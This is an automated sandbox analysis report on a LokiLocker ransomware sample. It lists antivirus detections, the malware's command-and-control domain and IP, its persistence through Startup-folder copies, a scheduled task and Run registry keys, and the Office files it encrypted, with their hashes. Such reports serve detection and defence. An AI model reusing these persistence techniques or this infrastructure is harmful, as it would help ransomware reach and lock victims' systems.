C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe	100%	Avira	HEUR/AGEN.1139796
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe	100%	Avira	HEUR/AGEN.1139796
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe	100%	Joe Sandbox ML
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe	100%	Joe Sandbox ML
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe	100%	Joe Sandbox ML
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe	100%	Joe Sandbox ML
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe	71%	ReversingLabs	ByteCode-MSIL.Ransomware.LokiLocker
C:\ProgramData\winlogon.exe	71%	ReversingLabs	ByteCode-MSIL.Ransomware.LokiLocker
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	71%	ReversingLabs	ByteCode-MSIL.Ransomware.LokiLocker
C:\Users\user\AppData\Roaming\winlogon.exe	71%	ReversingLabs	ByteCode-MSIL.Ransomware.LokiLocker
C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\winlogon.exe	71%	ReversingLabs	ByteCode-MSIL.Ransomware.LokiLocker
C:\Windows\SysWOW64\winlogon.exe	71%	ReversingLabs	ByteCode-MSIL.Ransomware.LokiLocker
C:\Windows\winlogon.exe	71%	ReversingLabs	ByteCode-MSIL.Ransomware.LokiLocker

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://picc.io/X8GRzsw.gif	0%	Avira URL Cloud	safe
http://loki-locker.one/index.php	0%	Avira URL Cloud	safe
https://picc.io	0%	Avira URL Cloud	safe
http://loki-locker.one/	0%	Avira URL Cloud	safe
http://loki-locker.one/D	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
loki-locker.one	91.223.82.6	true	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://picc.io/X8GRzsw.gif	winlogon.exe2.0.dr	false	Avira URL Cloud: safe	unknown
http://loki-locker.one/index.php	winlogon.exe, 00000011.00000003.555745206.0000000000EFD000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://picc.io	winlogon.exe	false	Avira URL Cloud: safe	unknown
http://loki-locker.one/	winlogon.exe, 00000011.00000003.556692762.000000000600C000.00000004.00000001.sdmp, winlogon.exe, 00000011.00000003.556814253.000000000600C000.00000004.00000001.sdmp, winlogon.exe, 00000011.00000003.543833970.000000000600C000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-latest.js	winlogon.exe2.0.dr	false		high
http://loki-locker.one/D	winlogon.exe, 00000011.00000003.556692762.000000000600C000.00000004.00000001.sdmp, winlogon.exe, 00000011.00000003.556814253.000000000600C000.00000004.00000001.sdmp, winlogon.exe, 00000011.00000003.543833970.000000000600C000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
91.223.82.6	loki-locker.one	Netherlands		199968	IWSNETSE	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	545393
Start date:	26.12.2021
Start time:	09:33:12
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Unlockpls.dr01@protonmail.com-1.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	60
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.adwa.expl.evad.winEXE@55/296@2/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 0.2% (good quality ratio 0.1%) Quality average: 19.2% Quality standard deviation: 33.3%
HCA Information:	Successful, ratio: 100% Number of executed functions: 39 Number of non-executed functions: 3
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, VSSVC.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.211.6.115, 204.79.197.200, 13.107.21.200 Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, dual-a-0001.a-msedge.net, ctldl.windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, www-bing-com.dual-a-0001.a-msedge.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtCreateFile calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. VT rate limit hit for: Unlockpls.dr01@protonmail.com-1.exe

Simulations

Behavior and APIs

Time	Type	Description
09:36:05	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe
09:36:09	Task Scheduler	Run new task: Loki path: C:\Users\user\AppData\Roaming\winlogon.exe
09:36:15	API Interceptor	1x Sleep call for process: Unlockpls.dr01@protonmail.com-1.exe modified
09:36:18	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Michael Gillespie C:\ProgramData\winlogon.exe
09:36:20	API Interceptor	1x Sleep call for process: WMIC.exe modified
09:36:27	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Michael Gillespie C:\ProgramData\winlogon.exe
09:36:35	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\logs.txt
09:36:44	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wvtymcow.bat

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
91.223.82.6	wininit.exe	Get hash	malicious	Browse	loki-locker.one/index.php
91.223.82.6	winlogon.exe	Get hash	malicious	Browse	loki-locker.one/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
loki-locker.one	wininit.exe	Get hash	malicious	Browse	91.223.82.6
	winlogon.exe	Get hash	malicious	Browse	91.223.82.6
	winlogon.exe	Get hash	malicious	Browse	91.223.82.6

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
IWSNETSE	277AEDAA60E92C7C7AF568C803B3B3DF91B6A7CE32088.exe	Get hash	malicious	Browse	91.223.82.29
	wininit.exe	Get hash	malicious	Browse	91.223.82.6
	winlogon.exe	Get hash	malicious	Browse	91.223.82.6
	winlogon.exe	Get hash	malicious	Browse	91.223.82.6
	UP34reqgZq.dll	Get hash	malicious	Browse	91.223.82.197
	PAYMENT_ADVICE.exe	Get hash	malicious	Browse	91.223.82.197
	Receipt#790009465.exe	Get hash	malicious	Browse	91.223.82.154
	RFQ-2018283ORDER.DOC.doc	Get hash	malicious	Browse	91.223.82.173
	RFQ-2018283ORDER.DOC.doc	Get hash	malicious	Browse	91.223.82.173
	TRF103_0092020.doc	Get hash	malicious	Browse	91.223.82.173
	payment.xlsm	Get hash	malicious	Browse	91.223.82.173
	3TGBkaDV1o.docx	Get hash	malicious	Browse	91.223.82.89
	o5UQHClyOH.exe	Get hash	malicious	Browse	91.223.82.89
	jW8LvpkHjo.exe	Get hash	malicious	Browse	91.223.82.89
	xCLsEGAH3C.exe	Get hash	malicious	Browse	91.223.82.89
	zmkuNszEHY.exe	Get hash	malicious	Browse	91.223.82.89
	59image.exe	Get hash	malicious	Browse	91.223.82.88
	Payment Receipt.exe	Get hash	malicious	Browse	91.223.82.88
	40Payment Receipt.exe	Get hash	malicious	Browse	91.223.82.88
	13Payment Receipt.exe	Get hash	malicious	Browse	91.223.82.88

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Cpriv.Loki Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	6.033602153554147
Encrypted:	false
SSDEEP:	48:bMH08OoaHuJrSuwJAVePwy0tU80FUYlUyhL96eMuKZPT5bKc3NYCCjaonThOXWlA:bMU85EuJBeAVt9qhL9ybAaiFOK2
MD5:	99E4422574E75F2D291B0729FEFB379E
SHA1:	B8F585556F0C659308673D0181C752ED7F5ED23C
SHA-256:	EB42AEDAC405CD5269CA03AB076D636D9FA8BA1C687698F6BB93022D2C9ECD2E
SHA-512:	C0A46F19B10FEEC314F8F9A8C8136B7EB2575DD901726B5D9DF2F9BFCE9E03448981D7685A3C7EF4FF5FBFD8BC76A12E641096107A76F862CF53214CD0701669
Malicious:	false
Preview:	aFpTPMeOLzkZf/U7S+5LE7wQpPhuYYt2h71l0sOjH3N5jL+BQpjEIrl3rBln08PonAFOej32zEkz..5JmAdGdd4mM26NMOhjFDYmEbNxv8wo9TP0JwGoerBEImK3MaQ4biWLJ8eig6BygkQsgWhW3g+W/s..y1UmNLMZXkd7tT5d6U8QQqBA+l0zuM3YXIMt6s0lssezZTuuJR3vHupE6lOlAwKLRIvOvcOUrYli..M1S37e3d7KtFTfhqUis69dAXQubK3jqwjIWAY4bvOiXDfX5tVbI1k/HbY70drfwTBL7dZZcbd2Zg..Qu2IBorgXPWBUmx94U+jszt46QtZMX8OEFQzWByn+JMG2WFRE8B9HXikVEHyZwyzXmrl/V4F3F02..djfyX1/wm/yCYVRacOCSLin43U2OlFgsdSwqIyYHLPAlIPTe9UKENsfYRwadlW18V8OvZqvY414R..9r02ylF538N32UrRSl3l33nWkj8j3njTVW5wP3B2e6Qwif/pgrVWzEsC+opmYs7HQnkb6nUPP+Xc..mBZQm47Wldh7IC3nVIIO3sEKdFQDLfpTmmEkK7tibDk1moeE6OJ1zQsO7mJF95a0wh8D9BeOpPAo..uhcw10a7hIFGIttp/0Ce7gmDZAywQJqzoPOhUpJgjiGREZ8tnv4qLihvZzH9ThgJvpVlEhLwrlOI..uvnsIbH1o3s0tQZFsE08ZE5hWXnys5fB+nWT+03gRZr93xNezMEu5khpSLY19TWJWVM7S9dwzaiY..Lr7PB3zAKGfZs6J6pEAHIzG9/CJo2CYyNIcDiH4bWFv3xJfRTtgN++jiqcu5fX9Oi+b2DEW90PPv..ZN9wNelChzupY+ULTSnpok62aoNXlkSC57Bm/jwTab57In7FPwyn61fw6+055MBcp8GGMKw8eiAZ..IOrYOhedeFH7drkD4g/qHSPY1j47/CLid9/RFkC++csa5rNOxqHmeEvpNwtVbFGH

C:\Cpriv2.Loki Download File
Process:	C:\Users\user\AppData\Roaming\winlogon.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	6.033072242901246
Encrypted:	false
SSDEEP:	48:DmIsmn8cB8jRyKzr+n2/BKSKZebf9d8W1hzTBBsyMlxKhFL7eez5RMN/entSaSGg:Dyml8/3+oXKZk9dr1hzTXMmPGEM/kaB
MD5:	68671F2E9E50E748B7875157E364C6C9
SHA1:	E05FD036E5FF08FB51B9379DBE66B40670B05599
SHA-256:	80AD66E006F2A01C4CA0362B7C3B0D0FA8E5D97DDA73992E3137EACE6267A432
SHA-512:	4B521CFA8656FBF539FD2113FAD86A423CB695BDC8369523CEFD913716FBE1B7DF7AA01858BE2784D2337A1BD4946FF0843376F3C2B717939EF7585D58DE9AD7
Malicious:	false
Preview:	GeLZL5N6oZm1SvzxrGfa6ujiI53yynrCnNq3lu99nVYqe2EQ8JI73wUkILAgw9pK1cDvahjr97Ue..YllkvVDBP4rSI1SAKX4K9Y8kXHapLqxVrY4ll+1j6L40+it1OTmfAhqdj3yhpOuFywDoVxGHaYXo..gSBuQ0uac54lu58afk+C8zZBBXYjpRav/IgYtVDFsjA3A1LvpSce2Udd2a4VD8rvQqtkxsGbe9jc..CMAiXiZMQqsNUHYIjmbi2vvXKbo/Pm044Xn8lggUJ7Pln7YmNZTmz72yhM4zH0XVCmpEIbrkJpcm..onU7bGnzjfZ0ea1zS8VO2YffeAXW7M4HwG3Rl4rRmVVCKF9CJZPRrzGi90RBBSacaQ07lMRYzoh+..w5pxWa1YVR7TIQjHNYxtmmC8AuzM9HkYNvG6Ne+mHt/Pwo7Gpc1lKPZ+fXKTEt9BVAse3Skw6KiD..8/cGDZ8HuuemgDUH7vhTS1JSckBdox4g7WSZGwKS4rN8qhekxzOIQV3EavrfRspxh1cziCfPeb80..xA/DXI/pDGQLEI/v7VlT6+FbN/ahpcNlpjuuBtuBAiRbnACF2ovvzVHrZ+QSwVlE9wNYmMTW9jA8..9UlisMLb2yXmWZuDEAV5QHGxt1pTG5AgiaGEu5H2r9avqIIQfa84HgCijE5xuLazP7xo6M/ClT1X..6gkb4W2B27WZuu+Yg/akIfmAuxDtzJz6cXFsMO3ZkmJsmw3DDgMfYGYasojqyl0hvO5s2AXMgKqr..dq/8MlvL27KSMKYNtwHABsoD7NILZWcdbuGqD3a0Yu1rIbiWZn2Il6qBwvHerNbH923Nwi90z2v0..CexZ5DOafoa1wRT6j0HNSjicxcEh9ff3bxs2W6X8vVTDquSOmEvEiNJsQBNB9KadBiNzHhe0NzF7..XdG1jjs2NeAxedoL57zrbtPNX8TMsozmCQiEwkvUGKoMaU5Ar1gx9rvKFUWvGzrt

C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00915_.WMF Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	7416
Entropy (8bit):	7.975516194079953
Encrypted:	false
SSDEEP:	192:2e41l2Ll6W82Q9WCHRqVWrrtYXrs4AzCTKK:2e41lmZQwSRqVCtYXzAI
MD5:	45F7B215D83999F233AC69CCF83A13FA
SHA1:	017D769C0C3CB49A4706C401B0F9414F949ADFAA
SHA-256:	F0576811538028884FCC5B7D9C55300FE537E938DAEEADCAEB97CFAD7C9C7860
SHA-512:	6300FC234166C8AB629DBD9824B148C4EEEAD9BF18E7953F34E8D11DA70BC6C41BBA789F5017272A0C9FAD4762499DEE4C24F23744A2B00044559259787701EC
Malicious:	false
Preview:	...WI..A...i...b....Q...u.".v.K..g..................ztK.4....1..OYF'......5.-.j\......Vv.-.J.T.8...-.."..YRI...I..E[..?#........^=...t..w....;s.5..m.....{W.k.Q....j.....%:L\.M.{.;M.k..oc.9@........@.2U!IX.....\.............D..6.<....@..8!..ye....`.....j..)..i...R..}>.......N.^4...\|8....f._.2..b.!...%.....M....F..e.....$. .&4.+4.3~...8e.*"6....y3...n...J\|.y_..%.....Ln.X.;..?R....xR8PYC[..6{.=3t...#:.w(......q..w...d.F..U......t.....F...j...P.7.!?d............z. u...e.$.....n.Z.XV.-.....F.i...W..bhc.._.......J....d.]yB.Tu:K....7.?.m....%]}..p.p2-C....v.Z...e..{ .hY4s..a8....'.....U.pS..rZ:.sh.Y.Qf.I...<~.5..8..P.u....X.:5.....]Zx\..1#._I{!..D/.1$...sca........9.4.WG......G&-.=...~..8.....#.h....V.,V.t....c....cC..@......../......kj..._v..F.#...^.\..~.l)~...7.2 ....K.^q.,..o.......nZ<.k.....6.E.\5l...z.~.#.I..)_...A...&$.........od.....a...n...@...u.4.@.s.h..LV1@..B.....\..AE/.{........'.7Lm...D.'.]..SP.!...)...1.....=..L1!.....&v.%...z..#T6j.?.

C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02054_.WMF Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	12746
Entropy (8bit):	7.985974507278649
Encrypted:	false
SSDEEP:	192:L6MEp2f4nnN0GN039Bhxy0jiguwnrWuPBhohQ3U6L34Ev4xG45IDU0kOkG78aU:L6f2fonSGN8LhxhiI6u5b3H4YU0+66
MD5:	00199B99F89AF322B22038CF6ED24C14
SHA1:	0DED30991BCD2748F118D297910E5EA79E3BF97A
SHA-256:	A3E72CE4090CB78F65C6B7A91EBA339280C5A66AAA65A243477FEE8C38D27CE3
SHA-512:	9D2303553F27686981AB757F7DF8E8DAFDE2F1CB189810071210D23EC76C685F56C1C5D565BDF9AAF7BEADE374DD33F38957A46B12CFBC6A9FED9F2E5C26C28C
Malicious:	false
Preview:	My...gB.@A!3.!..A...3.t.".X....au.`u..#..` ..Z.......G...........Ed1{.6..gO..9....m.n.1M.s...JLA....cPp.........l..p%k..V......4.u.{..i.Z.0.......A.O:VD........\|./B..]}....l...~..:.l...a...5..V..i.XZ\|p^.....k\h=kLp.kW..S.E(..mVf.u:.q6.f...#.w%......`ay.1..A>S..Ze{L..;....r7?_.Px.hM..F.[...K....n1s..J....cmI..%........ .>.1..G....&..Z..Y....F.D.O>:..+V~#.....A......R..Z..O21....#.?3..N%OX0eL.1..ghI}./...M.......C.o5.~e..Y.{9.......{.A...J.e.T......0......0.K...=.z$'"m.(.n.-...T{..........\|....w.o?+2...t.8..d..\.>.....R...Z..;T(A..i.Y..."...${3..&.L..~...m.{.o.}...YQD.....[....b.5.h..K.Q...~.......J.k.(...+...zx..7......g.Ya-..u.......7....os:..n.[\....pi.M....C1..98;77Va..,[..O.UG....3=......v... ..L.u..(.9Y.;0`...?;!Q...<.N[(..:Z..b....S..j....ba.R.5,.Y.....{#.....Ie.......].......L.F?.....d...i.{....5...OU..\|/C5.K.K..e.%.*.D.i..8..C..e].4.#&.3lI..M^}.....c...T...q.....ZQc.L!O._&.l.....B..S#g9ji.P.M..x..}.">T..s.

C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SY00642_.WMF Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	2168
Entropy (8bit):	7.889563106971338
Encrypted:	false
SSDEEP:	48:8BzdWdnP77Bk0v/KtUr1AljN0Gz41/S+nzsML7pBe7Tr:8Bxcz7rv2GggTjL7y7Tr
MD5:	42428E39739F5FE1D8D7909791D08CFA
SHA1:	093B457BCB11C94DB2FEB448B9A7B262E6FB32BD
SHA-256:	697A034D463CEF36EF94153F513DE9BAD0D39742E590138227BD45D72C97159C
SHA-512:	A141E2FAA31F70C5A6C95D18AA973F977A710D6D23245627ACDE98D91A0673966F768B2DCA6D460F784CAB9D8D707D40886243E60154B30615CFDAD969029E4A
Malicious:	false
Preview:	)...-..}_).?.Kl..G...n......v=..a.=%..'.......f....Q.1...U...0<....\|..JU...!.7d\|p..(.=0.Q:p.J..}....Q..0......$^0EQ.}o.qH.^.....I...8.R...1s#.I....&...=.ad..to.. .'p...7..R...-~,.0...[.&..98.2..X.%I.......EEv...2..-............B....lpb:....bP..M.cG........r.~.........4`.;x.d.G..0.5g....v....o..#.....u..]:#.....?sU.R.6...B...X.B8W.iY.R.2....g.j......=;D...t/.lS..P.{....(..2R.a......e...'~(..\|......\|.......}f..PyH-.Z.....b3T..I.......U..\|.......0Z.z.B!V%;....l.6>W.Q.Gv6......U7..7..M......."hp...q..%.o.2.S.K....p=h.`.i;f/oK.5w...^.is.......!Q.\.-....%...\...Z$.AV._..U,X..8.....R.iB#.....Q..N>0...].`...3..R.&rr.f...^.....y...-...L.z.t.G.E..Gml.....SK.....$.`.a.9`.`8....N...l5M.....sf.2}.G;,...2/A.........\f.?d0...3.Z.t.&...Q......u_.s..K......xX.%. .&...p=..o.....R.`.F...n-...;......t.D.......y.;.....>.....;..=t.~.....Z.q.....n... ....#a.........K{..2d.........7.U"....sR..=..".r.....u2..6.#..:q....S.......Gs=_....>r!=..1...-..4L...i.

C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\WB01330_.GIF Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	626
Entropy (8bit):	7.643509270884365
Encrypted:	false
SSDEEP:	12:Y3JvTMcQaQMtK/IBEairYda+oUogi1gWocatyrnnil/fi/YHe6VH:Y3J6j1dai01QocagiNP+6VH
MD5:	DBB7FB0B4BFDF89696C23B6CBB768185
SHA1:	9E9C2534162BEB531BAFC661BB6DAA3EA8B70D49
SHA-256:	8420239878D3F980D2080BF885705B1D785F0DAB8992CCF77C4C805D123469DA
SHA-512:	B72F892640238196490659C73F9111915D499F428A4D20E316AF4B3FA05B8249F7D44D8E0A62150A2EB8A5AC1BE1B0FF6D9213891D6F852300301C5B731D8236
Malicious:	false
Preview:	J....2.....=.D...;d.\.G.k.h.."...Q..k.....{...O6s..=I.A......Inh..,..G_..}d......f....(:.v\|.........N...f......m..p..uX..~....nRB.>....A.........^..z'..b,........L..(Z...3.................s...cc.3(-..a...y<.B..h....2.P.....#.....y...b......MW.......`.........1..K6x.3...[_.E...D.....K#^e..p......x.E..]..1..S.j.i.o!..L.B....km..G..6VY.sI.(k........r\|Ud.3..q..5.....S.c.Zg.A.e.4..ql.5)....x.+.J...Z)M......!.2s..h,..N...DL..Co.`.[..i...d..s.t.+..0...riZ......t.oe..^g.....{..E].....m.L2.....m.^vQ....[b...Vp..W...9.l.....I.+..m.:.o6.j6...@.0.c..IA..I.>.Bs.CC`...=..h4..-RP#j..(=......

C:\Program Files (x86)\Microsoft Office\Document Themes 16\Theme Colors\Blue Warm.xml Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	999
Entropy (8bit):	7.794869348325598
Encrypted:	false
SSDEEP:	24:UmVzG5lNTwCZkKWVCOMzwGbvakHc78wWuTML3k+zKjcbM:UMzGhTwCaYVcGbvLHcfWuTMorcY
MD5:	95165C4651C6699FBF242BCA217E63C3
SHA1:	A7193CF372D7AEE2061FA9652A7CFD10A58931AA
SHA-256:	BC1392C4EB7B4D9E34E80E0A8AA7DA36388497150E359FFA387C8F5445C7F58E
SHA-512:	0B9D32780CA7228BD8CB6BB12120EABE478F8CE4F0C8BF830C6AF9F5C2018162F39B729FCF8643C91453EB15F74AA939C27304A33910B07F55129B4715AC5B84
Malicious:	false
Preview:	K.u.q6C.7....X...J........HWY..a....h..s.\z.&w.T...E.....UJL7y..".R..."y8W9..-...S.%?s..(..E..FM.....EJ.}3.+/.....[.MS.........!.TU.,.`...Q..>V=8=...\VV..~....Ef=.fou\...q..<..^...K#.`.I..{...l.>W.U.tVy..-.2......4.j. ....T&..?3.O(..5.Q0...>..[.O-..T.n....."/.[.....l....H.x[.f%&..4.%....w.@..Q......v.)..).}.EY.C..`rLU....5. d.....y..u..I......:.x...a...1\<Xc...B..E.2 =..S+w...n.]....m._..4 .@.(...[F..bd...3tg.V...."......>;0.20.l}.>.oQ....G..Z@)..v.......s...G.Z....M.#.hk:..Y.'.AO(...uQ+....r#.io .....Yh...H.H..A.0.7.5...7J<._."....1..,K...._oa...c.9.0o....t...4.Z:.;...%<_r.b.n.Z.z.C0G.F.^....e.\|..`..D..\...vo....&.+..hc#4....L.>.i...r...]e..r...d..A}...Vx%o>..-.eL....?.Q.r.[....Dnn3s.%.?X.....6h.%.P....Gk$..yt5..9tD.JJ.y.u..y.)....&.;......P..4.J..WJ.+)6.Q'.\.-.Y2D...OB....\...;0...F.\..c..."...Dr............"..AP...?...7fk.ch.$c..n.V9-...Z.^...$PG.....cx.7..7..B..........vY..c... .T..?b.N.....X..;.hY...<S<.$.s....,....$%_...P....

C:\Program Files (x86)\Microsoft Office\Document Themes 16\Theme Effects\Glossy.eftx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	335294
Entropy (8bit):	7.999421966285415
Encrypted:	true
SSDEEP:	6144:Cp0Z11Q3P0Yq222Gntdg+fvNbTyyDD2GoZViwqucU/6Pf7+rRvIObIy4Ydiht/v5:CWPwO22tPHvNHaBb/quL/JRv1IfYdKTP
MD5:	009220550F83F69A09273C93FD0C3AFE
SHA1:	128EFBCF86B4AA0C2120BAC06C5A676F3E6AAC9C
SHA-256:	7A8DDECA16790A6253D04C1A0F92596E42FE767E3D50E81ED86090C98135C009
SHA-512:	809CC1B6763FAD84CFE8B5123FE4D4F1B9BBB272E1B04B9DBF2AB605336F16551B0718C40486FB7DC20952152EB8A3613B0D7096F5473591565EF218288E2256
Malicious:	true
Preview:	.m....^'..$gZ..Y...9..gO......T..\P..!:%.N.... .=.L2.cP..=..Y$uQ.....`..i..p..<a&.\.rl..+\|....\|.D.9.9.+C..')&0...$...D../...b..J.Y@\|.{A.......Zt,6.?.B......eh.....:.{...vy..I.....Yr....WP'tgg.C..-^.Q..4.K.,@..\E..".5^.......o.4...FW.b9Y.Y..@..)....y.........vbI...&.r...KC.x{2..)9(...@.$mO.a.].Z.(.G.t..4...a.v.R..!...R#w`...v6...L.@.]..o.j.).RK.l...8....(p$...N..1]uri.]moPt...pt......%sN...{.>#+............e ^..Q...C....N2.v...UIa9....&.......i..Lh2......K..>....C3..T.....M...k.S....".X...Y.7x.y[..O,;e........S.UV.. G..S4#{k.e_.a.^b\|.C.T...v.1..4..:D......>.Zv=..N`a6i>j.PI..U[P.5.n.9.....p...vo..[r.R.... ....Y.2..17.[...p...a.l.h..Q..na2.f0...nk.t.h..%m..,....".....r..y'].].&......9@A.?..{...p...l.K..-......I.......{.~..@./..3.....0?.>.pm.fI..../...o.....%..}dNf...T.o]0....z[Q......J.x.........Xo:K.q.V....T{..?s..._..$7...1C.PWR:..~..jyD-wy...b.D0T.j..G3:.."H".....U....e.....'.gI5A.tV...F.v,h.(9q..o......ek.....\|.goM......Mx...D...dr.hil.?.G..h

C:\Program Files (x86)\Microsoft Office\Office16\1033\EXCEL.HXS Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1523368
Entropy (8bit):	7.999879745478572
Encrypted:	true
SSDEEP:	24576:E7q/IeAjouTWdWNwLYSv/rOy29OcBrgbSQuq469igU/iPBXxxwG4K7y+qTFFqSF0:Hfk8WMRgUirZRl1gTBhjXy/vqSF52
MD5:	659FBA9EBAAF6CCC898A85BA9CECBFF0
SHA1:	34B798530E0405520214C102A0342BA573D19B3F
SHA-256:	660041A23047D6F0D5000906E98F82B6D780185320F65BDE17F2F2E1FEB6139B
SHA-512:	221619623DF2ED4FD8B0899121E5835A4557A8DECB21B145A0978857545EA19BB59E2DBBF0D2E4368F01E7593AC0AAD22EEB6E12FE85451E133DF887C23E2BF6
Malicious:	true
Preview:	x.x..4&KC...!.9b........+.k.....Yt.L...,.j.........N...I.{.U.LB....X.4..Ed.+wP9......O.....y(.f.:+Ci.....Z..s..Y.z4A3.Z/q..<u.x......(1C...?..`p.ILb.W..B.3......QR....j...... .....R./.D.....`......>.V..........!..v...!.6..,..&............`.,..R.....s2B.[L....W\|....~>......7-.../dQ.....WS.V0M~'...>].......S..N`...2..T.....u....M...Nv..X2..{.......G.7.pT0.`....n..=....GP.0.....f.o.....C,.m.K..D..sXl...pJ.....y.p...?...1..+e....].v"6x..\s.`>.....7.F..... % ../..'8...H#.o.Nz=J...3../..j.....V...k.....A..0X....$..Bxv.I...w@tI........G+W,.q..I.O.W`.UCq.:w...t..z}0....wh..I=.....<B.h......4.. Z...{...%..9CyD...v.x...<Ax..7\.V.}..;^...I.I.<.m#..v.H..T..l..f}......[....=.W...N.H*.w.1.<s.U.._~.w...E30..:Z..a.!..:.#......H..0.7.&.Z......)'.'X.V.sw.g.N.5..:-.%R...Bx.....#qr..V.b.M..,.:.Hv.#E.'..&o..r.v9&...+C...tl..Z..D...U......\."...Rb..;...K...h...#...<..W....b...p.I.1.r..m:.H.K\.iO.Rt..w..#g h..!oh.Q.M.a..+.o......Fg!...

C:\Program Files (x86)\Microsoft Office\Office16\1033\MSOUC_COL.HXC Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	887
Entropy (8bit):	7.764408936937345
Encrypted:	false
SSDEEP:	24:cYyTmkfeTh5X1WlCgJnImkpRqDyZdL/A+cspT:NyKkfM7FWlCg3k8z2T
MD5:	1853AA93D7555DFD29D71D2F339DE29D
SHA1:	0F1B799576A5DE0F98D996BAD1C84B503B9A851C
SHA-256:	50E4BB27DA23FA3B7B98E4D4C7D0381A08279F42326B087BD17D045847F358E7
SHA-512:	12B2709B4E08E6AAC31C2367387E4EAC51206608AEDB5A75CE5992FD6B2FA1E5EADE0DC9C6ADC6A608B29FA873E2479330126CBBCA2EDA48A4AC192705D24CF4
Malicious:	false
